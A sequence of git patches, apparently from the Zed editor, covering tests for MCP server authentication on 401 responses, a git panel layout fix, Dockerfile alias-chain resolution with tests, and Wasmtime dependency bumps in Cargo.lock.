+    cx.update(|cx| {
+        assert_eq!(
+            store.read(cx).status_for_server(&server_id),
+            Some(ContextServerStatus::AuthRequired),
+            "server should require authentication after a 401 on a notification"
+        );
+    });
+}
+
+// A transport failure that is not an authentication challenge must not touch
+// the server's state: no spurious auth flow, and (as before the transport
+// watch existed) the server stays `Running`.
+#[gpui::test]
+async fn test_http_server_ignores_non_auth_transport_failure(cx: &mut TestAppContext) {
+    const SERVER_ID: &str = "flaky-server";
+    let server_id = ContextServerId(SERVER_ID.into());
+
+    set_fake_mcp_http_client(cx, |message| {
+        if message.contains("\"method\":\"initialize\"") {
+            Ok(initialize_response())
+        } else if message.contains("notifications/initialized") {
+            Ok(notification_accepted_response())
+        } else {
+            Err(anyhow::anyhow!("connection reset"))
+        }
+    });
+
+    let (_fs, project) = setup_context_server_test(cx, json!({ "code.rs": "" }), vec![]).await;
+    let store = project.read_with(cx, |project, _| project.context_server_store());
+
+    set_http_context_server_configuration(&server_id, cx);
+
+    {
+        let _server_events = assert_server_events(
+            &store,
+            vec![
+                (server_id.clone(), ContextServerStatus::Starting),
+                (server_id.clone(), ContextServerStatus::Running),
+            ],
+            cx,
+        );
+        cx.run_until_parked();
+
+        let client = store.read_with(cx, |store, _| {
+            store
+                .get_running_server(&server_id)
+                .expect("server should be running")
+                .client()
+                .expect("running server should have a client")
+        });
+
+        client
+            .request::<context_server::types::requests::ListTools>(())
+            .await
+            .expect_err("request should fail when the transport errors");
+
+        cx.run_until_parked();
+        // Dropping the events guard asserts no further status change happened.
+    }
+
+    cx.update(|cx| {
+        assert_eq!(
+            store.read(cx).status_for_server(&server_id),
+            Some(ContextServerStatus::Running),
+            "a non-auth transport failure should not change the server state"
+        );
+    });
+}
+
+// A server may also require authentication on `initialize` itself. The
+// challenge is read from the transport slot rather than the returned error, so
+// the 401 is recognized even if another error (e.g. the request timeout) wins
+// the race to become the reported startup failure.
+#[gpui::test]
+async fn test_http_server_authenticates_on_initialize_401(cx: &mut TestAppContext) {
+    const SERVER_ID: &str = "auth-server";
+    let server_id = ContextServerId(SERVER_ID.into());
+
+    set_fake_mcp_http_client(cx, |_message| Ok(unauthorized_response()));
+
+    let (_fs, project) = setup_context_server_test(cx, json!({ "code.rs": "" }), vec![]).await;
+    let store = project.read_with(cx, |project, _| project.context_server_store());
+
+    set_http_context_server_configuration(&server_id, cx);
+
+    {
+        let _server_events = assert_server_events(
+            &store,
+            vec![
+                (server_id.clone(), ContextServerStatus::Starting),
+                (server_id.clone(), ContextServerStatus::AuthRequired),
+            ],
+            cx,
+        );
+        cx.run_until_parked();
+    }
+
+    cx.update(|cx| {
+        assert_eq!(
+            store.read(cx).status_for_server(&server_id),
+            Some(ContextServerStatus::AuthRequired),
+            "server should require authentication after a 401 on initialize"
+        );
+    });
+}
+
+// Restarting a server reuses its transport (e.g. via the MCP settings page),
+// so a challenge recorded by a previous client generation must not leak into
+// the next one: after a successful restart, a non-auth transport failure must
+// not trip a spurious auth flow on the stale challenge.
+#[gpui::test]
+async fn test_http_server_restart_clears_stale_auth_challenge(cx: &mut TestAppContext) {
+    use std::sync::atomic::{AtomicBool, Ordering};
+
+    const SERVER_ID: &str = "auth-server";
+    let server_id = ContextServerId(SERVER_ID.into());
+
+    let restarted = Arc::new(AtomicBool::new(false));
+    set_fake_mcp_http_client(cx, {
+        let restarted = restarted.clone();
+        move |message| {
+            if message.contains("\"method\":\"initialize\"") {
+                Ok(initialize_response())
+            } else if message.contains("notifications/initialized") {
+                Ok(notification_accepted_response())
+            } else if restarted.load(Ordering::SeqCst) {
+                Err(anyhow::anyhow!("connection reset"))
+            } else {
+                Ok(unauthorized_response())
+            }
+        }
+    });
+
+    let (_fs, project) = setup_context_server_test(cx, json!({ "code.rs": "" }), vec![]).await;
+    let store = project.read_with(cx, |project, _| project.context_server_store());
+
+    set_http_context_server_configuration(&server_id, cx);
+    cx.run_until_parked();
+
+    // A post-initialize 401 records a challenge on the transport and moves the
+    // server into AuthRequired.
+    let client = store.read_with(cx, |store, _| {
+        store
+            .get_running_server(&server_id)
+            .expect("server should be running")
+            .client()
+            .expect("running server should have a client")
+    });
+    client
+        .request::<context_server::types::requests::ListTools>(())
+        .await
+        .expect_err("request challenged with a 401 should fail");
+    // Drop our handle so the dead client fully goes away, as it does in
+    // production once the store has stopped it: a lingering client would
+    // compete with its successor for the reused transport's response channel.
+    drop(client);
+    cx.run_until_parked();
+    cx.update(|cx| {
+        assert_eq!(
+            store.read(cx).status_for_server(&server_id),
+            Some(ContextServerStatus::AuthRequired),
+        );
+    });
+
+    // The user restarts the same server instance instead of authenticating,
+    // and the server no longer challenges.
+    restarted.store(true, Ordering::SeqCst);
+    store.update(cx, |store, cx| {
+        let server = store.get_server(&server_id).expect("server should exist");
+        store.start_server(server, cx);
+    });
+    cx.run_until_parked();
+    cx.update(|cx| {
+        assert_eq!(
+            store.read(cx).status_for_server(&server_id),
+            Some(ContextServerStatus::Running),
+        );
+    });
+
+    let client = store.read_with(cx, |store, _| {
+        store
+            .get_running_server(&server_id)
+            .expect("server should be running")
+            .client()
+            .expect("running server should have a client")
+    });
+    client
+        .request::<context_server::types::requests::ListTools>(())
+        .await
+        .expect_err("request should fail when the transport errors");
+    cx.run_until_parked();
+
+    cx.update(|cx| {
+        assert_eq!(
+            store.read(cx).status_for_server(&server_id),
+            Some(ContextServerStatus::Running),
+            "a stale challenge from a previous client generation must not trigger auth"
+        );
+    });
+}
+
+fn set_http_context_server_configuration(server_id: &ContextServerId, cx: &mut TestAppContext) {
+    set_context_server_configuration(
+        vec![(
+            server_id.0.clone(),
+            settings::ContextServerSettingsContent::Http {
+                enabled: true,
+                url: "https://mcp.example.com/mcp".to_string(),
+                headers: Default::default(),
+                timeout: None,
+                oauth: None,
+            },
+        )],
+        cx,
+    );
+}
+
+/// A fake HTTP client that serves the OAuth discovery documents (CIMD-capable,
+/// so no dynamic client registration is needed) and routes MCP endpoint POSTs
+/// to `respond_to_mcp_message` by the JSON-RPC message in the request body.
+fn set_fake_mcp_http_client(
+    cx: &mut TestAppContext,
+    respond_to_mcp_message: impl Fn(&str) -> Result<Response<http_client::AsyncBody>>
+    + Send
+    + Sync
+    + 'static,
+) {
+    let respond_to_mcp_message = Arc::new(respond_to_mcp_message);
+    let client = FakeHttpClient::create(move |request| {
+        let respond_to_mcp_message = respond_to_mcp_message.clone();
+        async move {
+            let uri = request.uri().to_string();
+            let discovery_document = if uri.contains("oauth-protected-resource") {
+                Some(json!({
+                    "resource": "https://mcp.example.com",
+                    "authorization_servers": ["https://auth.example.com"],
+                    "scopes_supported": ["mcp:read"]
+                }))
+            } else if uri.contains("oauth-authorization-server") {
+                Some(json!({
+                    "issuer": "https://auth.example.com",
+                    "authorization_endpoint": "https://auth.example.com/authorize",
+                    "token_endpoint": "https://auth.example.com/token",
+                    "code_challenge_methods_supported": ["S256"],
+                    "client_id_metadata_document_supported": true
+                }))
+            } else {
+                None
+            };
+            if let Some(document) = discovery_document {
+                return Ok(json_response(document));
+            }
+
+            let mut body = request.into_body();
+            let mut message = String::new();
+            futures::AsyncReadExt::read_to_string(&mut body, &mut message).await?;
+            respond_to_mcp_message(&message)
+        }
+    });
+    cx.update(|cx| cx.set_http_client(client));
+}
+
+fn json_response(body: serde_json::Value) -> Response<http_client::AsyncBody> {
+    Response::builder()
+        .status(200)
+        .header("Content-Type", "application/json")
+        .body(http_client::AsyncBody::from(body.to_string()))
+        .unwrap()
+}
+
+fn initialize_response() -> Response<http_client::AsyncBody> {
+    json_response(json!({
+        "jsonrpc": "2.0",
+        "id": 0,
+        "result": {
+            "protocolVersion": "2024-11-05",
+            "capabilities": {},
+            "serverInfo": { "name": "test-server", "version": "1.0.0" }
+        }
+    }))
+}
+
+fn notification_accepted_response() -> Response<http_client::AsyncBody> {
+    Response::builder()
+        .status(202)
+        .body(http_client::AsyncBody::empty())
+        .unwrap()
+}
+
+fn unauthorized_response() -> Response<http_client::AsyncBody> {
+    Response::builder()
+        .status(401)
+        .header("WWW-Authenticate", "Bearer")
+        .body(http_client::AsyncBody::empty())
+        .unwrap()
+}
+
 struct ServerEvents {
     received_event_count: Rc<RefCell<usize>>,
     expected_event_count: usize,

From 2f1caadd387f403f675a131e2841d1f85e465bf3 Mon Sep 17 00:00:00 2001
From: Zak Nesler <zak@nesler.dev>
Date: Fri, 3 Jul 2026 14:26:14 -0400
Subject: [PATCH 251/772] Fix expanded commit editor (#60368)

This is a simple follow-up to #60331, the commit message in the expanded
view got messed up and was being shrunken and centered instead of taking
up the full height of the git panel.

All it needed was a `.h_full()`:

<details>
  <summary>Click to view showcase</summary>

### Before
<img width="652" height="758"
alt="file-6d7f3fd7a5de8cff5ea44c0dfbaf0ac5"
src="https://github.com/user-attachments/assets/85dca75c-7528-4876-9154-0145272c5029"
/>

### After
<img width="662" height="761"
alt="file-268420a52e7b967fc09d10007d6aa1e5"
src="https://github.com/user-attachments/assets/f39ea70b-d0a9-40e6-bb20-20cd3508ad66"
/>

</details>

@danilo-leal

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] ~~Tests cover the new/changed behavior~~
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- N/A
---
 crates/git_ui/src/git_panel.rs | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index f7b36a9fc9de1b..60afc057b7ab28 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -5295,8 +5295,9 @@ impl GitPanel {
                                 div()
                                     .pt_2()
                                     .px_2()
-                                    .cursor_text()
+                                    .h_full()
                                     .flex_grow_1()
+                                    .cursor_text()
                                     .on_action(|&zed_actions::editor::MoveUp, _, cx| {
                                         cx.stop_propagation();
                                     })

From 9eb8a7c0add822e8bc7dac64f7929be0124a2fe4 Mon Sep 17 00:00:00 2001
From: KyleBarton <kjb@initialcapacity.io>
Date: Fri, 3 Jul 2026 11:37:06 -0700
Subject: [PATCH 252/772] Handle cases where Dockerfile aliases are chained
 (#57552)

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #56189

Release Notes:

- Fixed bug to handle dev container Dockerfiles with chained aliases

---------

Co-authored-by: Martin Ye <martin@zed.dev>
---
 .../src/devcontainer_manifest.rs              | 267 ++++++++++++++----
 1 file changed, 217 insertions(+), 50 deletions(-)

diff --git a/crates/dev_container/src/devcontainer_manifest.rs b/crates/dev_container/src/devcontainer_manifest.rs
index fb2e4f6cd6b31c..1f2b2373819440 100644
--- a/crates/dev_container/src/devcontainer_manifest.rs
+++ b/crates/dev_container/src/devcontainer_manifest.rs
@@ -2793,54 +2793,77 @@ chmod +x ./install.sh
     Ok(script)
 }
 
+struct ParsedFromLine<'a> {
+    image: &'a str,
+    alias: Option<&'a str>,
+}
+
+/// Parses a `FROM` instruction into its image and optional stage alias,
+/// skipping flags like `--platform=...`. Returns `None` for non-`FROM` lines.
+fn parse_from_line(line: &str) -> Option<ParsedFromLine<'_>> {
+    let mut tokens = line.split_whitespace();
+    if !tokens.next()?.eq_ignore_ascii_case("FROM") {
+        return None;
+    }
+    let image = tokens.find(|token| !token.starts_with("--"))?;
+    let alias = match (tokens.next(), tokens.next()) {
+        (Some(keyword), Some(alias)) if keyword.eq_ignore_ascii_case("as") => Some(alias),
+        _ => None,
+    };
+    Some(ParsedFromLine { image, alias })
+}
+
 fn dockerfile_inject_alias(
     dockerfile_content: &str,
     alias: &str,
     build_target: Option<String>,
 ) -> String {
-    let from_lines: Vec<(usize, &str)> = dockerfile_content
+    let from_lines: Vec<(usize, ParsedFromLine)> = dockerfile_content
         .lines()
         .enumerate()
-        .filter(|(_, line)| line.starts_with("FROM"))
+        .filter_map(|(index, line)| parse_from_line(line).map(|parsed| (index, parsed)))
         .collect();
 
     let target_entry = match &build_target {
-        Some(target) => from_lines.iter().rfind(|(_, line)| {
-            let parts: Vec<&str> = line.split_whitespace().collect();
-            parts.len() >= 3
-                && parts
-                    .get(parts.len() - 2)
-                    .map_or(false, |p| p.eq_ignore_ascii_case("as"))
-                && parts
-                    .last()
-                    .map_or(false, |p| p.eq_ignore_ascii_case(target))
+        Some(target) => from_lines.iter().rfind(|(_, parsed)| {
+            parsed
+                .alias
+                .is_some_and(|alias| alias.eq_ignore_ascii_case(target))
         }),
         None => from_lines.last(),
     };
 
-    let Some(&(line_idx, from_line)) = target_entry else {
+    let Some((line_idx, parsed)) = target_entry else {
+        match &build_target {
+            Some(target) => log::warn!(
+                "Build target stage {target:?} not found in Dockerfile; leaving it unmodified"
+            ),
+            None => log::warn!("No FROM instruction found in Dockerfile; leaving it unmodified"),
+        }
         return dockerfile_content.to_string();
     };
 
-    let parts: Vec<&str> = from_line.split_whitespace().collect();
-    let has_alias = parts.len() >= 3
-        && parts
-            .get(parts.len() - 2)
-            .map_or(false, |p| p.eq_ignore_ascii_case("as"));
-
-    if has_alias {
-        let Some(existing_alias) = parts.last() else {
-            return dockerfile_content.to_string();
-        };
+    if let Some(existing_alias) = parsed.alias {
         format!("{dockerfile_content}\nFROM {existing_alias} AS {alias}")
     } else {
         let lines: Vec<&str> = dockerfile_content.lines().collect();
+        // Appending ` AS {alias}` to a line ending in a `\` continuation would
+        // corrupt the instruction, so leave the Dockerfile unmodified.
+        if lines
+            .get(*line_idx)
+            .is_some_and(|line| line.trim_end().ends_with('\\'))
+        {
+            log::warn!(
+                "FROM instruction spans multiple lines via `\\` continuation; cannot inject stage alias, leaving Dockerfile unmodified"
+            );
+            return dockerfile_content.to_string();
+        }
         let mut result = String::new();
         for (i, line) in lines.iter().enumerate() {
             if i > 0 {
                 result.push('\n');
             }
-            if i == line_idx {
+            if i == *line_idx {
                 result.push_str(&format!("{line} AS {alias}"));
             } else {
                 result.push_str(line);
@@ -2854,29 +2877,36 @@ fn dockerfile_inject_alias(
 }
 
 fn image_from_dockerfile(dockerfile_contents: String, target: &Option<String>) -> Option<String> {
-    dockerfile_contents
+    let stages: Vec<ParsedFromLine> = dockerfile_contents
         .lines()
-        .filter(|line| line.starts_with("FROM"))
-        .rfind(|from_line| match &target {
-            Some(target) => {
-                let parts = from_line.split(' ').collect::<Vec<&str>>();
-                if parts.len() >= 3
-                    && parts.get(parts.len() - 2).unwrap_or(&"").to_lowercase() == "as"
-                {
-                    parts.last().unwrap_or(&"").to_lowercase() == target.to_lowercase()
-                } else {
-                    false
-                }
-            }
-            None => true,
-        })
-        .and_then(|from_line| {
-            from_line
-                .split(' ')
-                .collect::<Vec<&str>>()
-                .get(1)
-                .map(|s| s.to_string())
-        })
+        .filter_map(parse_from_line)
+        .collect();
+
+    let start_index = match target {
+        Some(target) => stages.iter().rposition(|stage| {
+            stage
+                .alias
+                .is_some_and(|alias| alias.eq_ignore_ascii_case(target))
+        })?,
+        None => stages.len().checked_sub(1)?,
+    };
+
+    // Follow alias chains (`FROM base AS development`) to a concrete image.
+    // Docker only resolves names to stages defined earlier in the file, so
+    // resolving strictly backwards is correct and cannot cycle.
+    let mut index = start_index;
+    loop {
+        let image = stages.get(index)?.image;
+        let previous_stage = stages.get(..index)?.iter().rposition(|stage| {
+            stage
+                .alias
+                .is_some_and(|alias| alias.eq_ignore_ascii_case(image))
+        });
+        match previous_stage {
+            Some(previous_index) => index = previous_index,
+            None => return Some(image.to_string()),
+        }
+    }
 }
 
 fn get_remote_user_from_config(
@@ -2961,8 +2991,9 @@ mod test {
         devcontainer_json::MountDefinition,
         devcontainer_manifest::{
             ConfigStatus, DevContainerManifest, DockerBuildResources, DockerComposeResources,
-            DockerInspect, extract_feature_id, find_primary_service, get_remote_user_from_config,
-            image_from_dockerfile, is_local_feature_ref, resolve_compose_dockerfile,
+            DockerInspect, dockerfile_inject_alias, extract_feature_id, find_primary_service,
+            get_remote_user_from_config, image_from_dockerfile, is_local_feature_ref,
+            resolve_compose_dockerfile,
         },
         docker::{
             DockerClient, DockerComposeConfig, DockerComposeService, DockerComposeServiceBuild,
@@ -5877,6 +5908,93 @@ FROM ${IMAGE} AS production
         assert_eq!(base_image, "docker.io/stuff/mybuild:latest".to_string());
     }
 
+    #[test]
+    fn test_image_from_dockerfile_resolves_one_hop_alias() {
+        let dockerfile = "FROM ubuntu:24.04 AS base\nFROM base AS development".to_string();
+        assert_eq!(
+            image_from_dockerfile(dockerfile, &Some("development".to_string())),
+            Some("ubuntu:24.04".to_string())
+        );
+    }
+
+    #[test]
+    fn test_image_from_dockerfile_resolves_deep_alias_chain() {
+        let dockerfile =
+            "FROM ubuntu:24.04 AS base\nFROM base AS mid\nFROM mid AS development".to_string();
+        assert_eq!(
+            image_from_dockerfile(dockerfile, &Some("development".to_string())),
+            Some("ubuntu:24.04".to_string())
+        );
+    }
+
+    #[test]
+    fn test_image_from_dockerfile_no_target_resolves_alias() {
+        let dockerfile = "FROM ubuntu:24.04 AS base\nFROM base".to_string();
+        assert_eq!(
+            image_from_dockerfile(dockerfile, &None),
+            Some("ubuntu:24.04".to_string())
+        );
+    }
+
+    #[test]
+    fn test_image_from_dockerfile_stage_alias_shadows_external_image() {
+        // The first `a` is an external image: stage `a` isn't defined yet.
+        // Target `a` builds from stage `b`, whose base is that external `a`.
+        let dockerfile = "FROM a AS b\nFROM b AS a".to_string();
+        assert_eq!(
+            image_from_dockerfile(dockerfile, &Some("a".to_string())),
+            Some("a".to_string())
+        );
+    }
+
+    #[test]
+    fn test_image_from_dockerfile_only_resolves_earlier_stages() {
+        // The first `ubuntu` is the external image, not the later stage.
+        let dockerfile = "FROM ubuntu AS build\nFROM debian AS ubuntu".to_string();
+        assert_eq!(
+            image_from_dockerfile(dockerfile, &Some("build".to_string())),
+            Some("ubuntu".to_string())
+        );
+    }
+
+    #[test]
+    fn test_image_from_dockerfile_skips_platform_flag() {
+        let dockerfile =
+            "FROM --platform=linux/amd64 ubuntu:24.04 AS base\nFROM base AS development"
+                .to_string();
+        assert_eq!(
+            image_from_dockerfile(dockerfile, &Some("development".to_string())),
+            Some("ubuntu:24.04".to_string())
+        );
+    }
+
+    #[test]
+    fn test_image_from_dockerfile_missing_target() {
+        let dockerfile = "FROM ubuntu:24.04 AS base".to_string();
+        assert_eq!(
+            image_from_dockerfile(dockerfile, &Some("nonexistent".to_string())),
+            None
+        );
+    }
+
+    #[test]
+    fn test_image_from_dockerfile_case_insensitive_alias() {
+        let dockerfile = "FROM ubuntu:24.04 AS Base\nFROM Base AS Development".to_string();
+        assert_eq!(
+            image_from_dockerfile(dockerfile, &Some("development".to_string())),
+            Some("ubuntu:24.04".to_string())
+        );
+    }
+
+    #[test]
+    fn test_image_from_dockerfile_scratch_base() {
+        let dockerfile = "FROM scratch AS builder\nFROM builder AS final".to_string();
+        assert_eq!(
+            image_from_dockerfile(dockerfile, &Some("final".to_string())),
+            Some("scratch".to_string())
+        );
+    }
+
     #[gpui::test]
     async fn test_expands_args_in_dockerfile(cx: &mut TestAppContext) {
         cx.executor().allow_parking();
@@ -6090,13 +6208,62 @@ RUN echo $RUBY_VERSION2
     }
 
     #[test]
-    fn test_aliases_dockerfile_with_pre_existing_aliases_for_build() {}
+    fn test_aliases_dockerfile_with_pre_existing_aliases_for_build() {
+        let dockerfile = "FROM ubuntu:24.04 AS base\nFROM base AS development";
+
+        assert_eq!(
+            dockerfile_inject_alias(dockerfile, "dev_container_auto_added_stage_label", None),
+            "FROM ubuntu:24.04 AS base\nFROM base AS development\nFROM development AS dev_container_auto_added_stage_label"
+        );
+    }
+
+    #[test]
+    fn test_aliases_dockerfile_with_no_aliases_for_build() {
+        let dockerfile = "FROM --platform=linux/amd64 ubuntu:24.04\nRUN echo ok";
+
+        assert_eq!(
+            dockerfile_inject_alias(dockerfile, "dev_container_auto_added_stage_label", None),
+            "FROM --platform=linux/amd64 ubuntu:24.04 AS dev_container_auto_added_stage_label\nRUN echo ok"
+        );
+    }
 
     #[test]
-    fn test_aliases_dockerfile_with_no_aliases_for_build() {}
+    fn test_aliases_dockerfile_with_build_target_specified() {
+        let dockerfile = "FROM ubuntu:24.04 AS development\nFROM ubuntu:22.04 AS production";
+
+        assert_eq!(
+            dockerfile_inject_alias(
+                dockerfile,
+                "dev_container_auto_added_stage_label",
+                Some("development".to_string())
+            ),
+            "FROM ubuntu:24.04 AS development\nFROM ubuntu:22.04 AS production\nFROM development AS dev_container_auto_added_stage_label"
+        );
+    }
+
+    #[test]
+    fn test_aliases_dockerfile_with_missing_build_target_is_unmodified() {
+        let dockerfile = "FROM ubuntu:24.04 AS development";
+
+        assert_eq!(
+            dockerfile_inject_alias(
+                dockerfile,
+                "dev_container_auto_added_stage_label",
+                Some("nonexistent".to_string())
+            ),
+            dockerfile
+        );
+    }
 
     #[test]
-    fn test_aliases_dockerfile_with_build_target_specified() {}
+    fn test_aliases_dockerfile_with_line_continuation_is_unmodified() {
+        let dockerfile = "FROM ubuntu:24.04 \\\n    --platform=linux/amd64\nRUN echo ok";
+
+        assert_eq!(
+            dockerfile_inject_alias(dockerfile, "dev_container_auto_added_stage_label", None),
+            dockerfile
+        );
+    }
 
     pub(crate) struct RecordedExecCommand {
         pub(crate) _container_id: String,

From fa8540ff6299c30ebb325601ad821127a314f44e Mon Sep 17 00:00:00 2001
From: Ben Brandt <benjamin.j.brandt@gmail.com>
Date: Fri, 3 Jul 2026 20:44:17 +0200
Subject: [PATCH 253/772] Update Wasmtime dependencies (#60341)

Brings in the latest LTS security and bug fixes

Release Notes:

- N/A
---
 Cargo.lock | 311 +++++++++++++++++++++++++++--------------------------
 Cargo.toml |   4 +-
 2 files changed, 163 insertions(+), 152 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 480b91504c3456..5a64dbf6b4f2e6 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -2890,7 +2890,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "eadd868a2ce9ca38de7eeafdcec9c7065ef89b42b32f0839278d55f35c54d1ff"
 dependencies = [
  "heck 0.4.1",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "log",
  "proc-macro2",
  "quote",
@@ -3537,7 +3537,7 @@ name = "collections"
 version = "0.1.0"
 dependencies = [
  "gpui_util",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "rustc-hash 2.1.1",
 ]
 
@@ -4175,36 +4175,36 @@ dependencies = [
 
 [[package]]
 name = "cranelift-assembler-x64"
-version = "0.123.9"
+version = "0.123.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "44f81cede359311706057b689b91b59f464926de0316f389898a2b028cb494fa"
+checksum = "3cd990d8a6304475bbad64534a0d418f5572f44d5f011437e6b9f1ee7d5c2570"
 dependencies = [
  "cranelift-assembler-x64-meta",
 ]
 
 [[package]]
 name = "cranelift-assembler-x64-meta"
-version = "0.123.9"
+version = "0.123.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fa6ca11305de425ea08884097b913ebe1a83875253b3c0063ce28411e226bfdc"
+checksum = "ccabe4636007296721080e02d7dab46d4319638ec4e3f6f7402fcb46dc5122c6"
 dependencies = [
  "cranelift-srcgen",
 ]
 
 [[package]]
 name = "cranelift-bforest"
-version = "0.123.9"
+version = "0.123.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7537341a9a4ba9812141927be733e7254bf2318aab6597d567af9cad90609f27"
+checksum = "da7ed173c870c0aea202a9830880156905a028a88df076e35ce383a8acbf90a7"
 dependencies = [
  "cranelift-entity",
 ]
 
 [[package]]
 name = "cranelift-bitset"
-version = "0.123.9"
+version = "0.123.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d28a4ca5faf25ff821fcc768f26e68ffef505e9f71bb06e608862d941fa65086"
+checksum = "800cc586df98b12c502e76707c96565e40629a5322eaa15aaa34ba05f5721e31"
 dependencies = [
  "serde",
  "serde_derive",
@@ -4212,9 +4212,9 @@ dependencies = [
 
 [[package]]
 name = "cranelift-codegen"
-version = "0.123.9"
+version = "0.123.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d891057fe1b73910c41e73b32a70fa8454092fce65942b5fa6f72aa6d5487f8a"
+checksum = "ae93f863f9094ae34d2567f9edb0ae2c41d35228b286598354dd78b198868ebd"
 dependencies = [
  "bumpalo",
  "cranelift-assembler-x64",
@@ -4242,9 +4242,9 @@ dependencies = [
 
 [[package]]
 name = "cranelift-codegen-meta"
-version = "0.123.9"
+version = "0.123.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c29a66028a78eedc534b3a94e5ebfbaeb4e1f6b09038afe41bb24afd614faa4b"
+checksum = "38c505162bcf77dcb859905b3eac56a1917fc3cf326424fb06e7732031e3a8ae"
 dependencies = [
  "cranelift-assembler-x64-meta",
  "cranelift-codegen-shared",
@@ -4255,24 +4255,24 @@ dependencies = [
 
 [[package]]
 name = "cranelift-codegen-shared"
-version = "0.123.9"
+version = "0.123.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "95809ad251fe9422087b4a72d61e584d6ab6eff44dee1335f93cfaea0bedc9ac"
+checksum = "e3b786958bcb79bdb5fbae095af58f0c2da7d7895c475c991f6a6bb5a9c7e6d9"
 
 [[package]]
 name = "cranelift-control"
-version = "0.123.9"
+version = "0.123.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f79d0cacf063c297e5e8d5b73cb355b41b87f6d248e252d1b284e7a7b73673c2"
+checksum = "2faf9a5009bce7f725ce2af7a08c4883ebac6af933e7e0aa7d84f976f4e6deb5"
 dependencies = [
  "arbitrary",
 ]
 
 [[package]]
 name = "cranelift-entity"
-version = "0.123.9"
+version = "0.123.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b2d73297a195ce3be55997c6307142c4b1e58dd0c2f18ceaa0179444024e312a"
+checksum = "017271194ba5e101d626560d0d6767efd341468d1ba0f4d015f19fe64020b65b"
 dependencies = [
  "cranelift-bitset",
  "serde",
@@ -4281,9 +4281,9 @@ dependencies = [
 
 [[package]]
 name = "cranelift-frontend"
-version = "0.123.9"
+version = "0.123.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3be38d1ae29ef7c5d611fc6cb694f698dc4ca44152dcaa112ec0fef8d4d34858"
+checksum = "f80847f0929967f0cec82f9e0543b3901e0f0063690405891f22107b5a130fd8"
 dependencies = [
  "cranelift-codegen",
  "log",
@@ -4293,15 +4293,15 @@ dependencies = [
 
 [[package]]
 name = "cranelift-isle"
-version = "0.123.9"
+version = "0.123.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6761926f6636209de7ac568be28b206890f2181761375b9722e0a1e7a7e1637a"
+checksum = "75904abbc0e7b46d20f7a49c8042c8a4481c0db4253b99889c723c566295d506"
 
 [[package]]
 name = "cranelift-native"
-version = "0.123.9"
+version = "0.123.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0893472f73f0d530a28e9a573ada6d1f93b9659bb6734dfe17061ac967bd1830"
+checksum = "6e0135923540574362e16f01bf40000664263840991039ff3041ba717de6cf3a"
 dependencies = [
  "cranelift-codegen",
  "libc",
@@ -4310,9 +4310,9 @@ dependencies = [
 
 [[package]]
 name = "cranelift-srcgen"
-version = "0.123.9"
+version = "0.123.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c1daccebabb1ccd034dbab0eacc0722af27d3cccc7929dea27a3546cb3562e40"
+checksum = "93fb12f76c482e034f6ebefa843c914e74112f088215d8d36d33a649f9fab99b"
 
 [[package]]
 name = "crash-context"
@@ -4630,7 +4630,7 @@ checksum = "d74b6bcf49ebbd91f1b1875b706ea46545032a14003b5557b7dfa4bbeba6766e"
 dependencies = [
  "cc",
  "codespan-reporting",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "proc-macro2",
  "quote",
  "scratch",
@@ -4645,7 +4645,7 @@ checksum = "94ca2ad69673c4b35585edfa379617ac364bccd0ba0adf319811ba3a74ffa48a"
 dependencies = [
  "clap",
  "codespan-reporting",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "proc-macro2",
  "quote",
  "syn 2.0.117",
@@ -4663,7 +4663,7 @@ version = "1.0.187"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "2a8ebf0b6138325af3ec73324cb3a48b64d57721f17291b151206782e61f66cd"
 dependencies = [
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "proc-macro2",
  "quote",
  "syn 2.0.117",
@@ -6314,8 +6314,8 @@ dependencies = [
  "tracing",
  "url",
  "util",
- "wasm-encoder 0.221.3",
- "wasmparser 0.221.3",
+ "wasm-encoder 0.252.0",
+ "wasmparser 0.252.0",
  "ztracing",
 ]
 
@@ -6395,7 +6395,7 @@ dependencies = [
  "tracing",
  "url",
  "util",
- "wasmparser 0.221.3",
+ "wasmparser 0.252.0",
  "wasmtime",
  "wasmtime-wasi",
  "zlog",
@@ -7247,7 +7247,7 @@ dependencies = [
  "derive_more",
  "derive_setters",
  "gh-workflow-macros",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "merge",
  "serde",
  "serde_json",
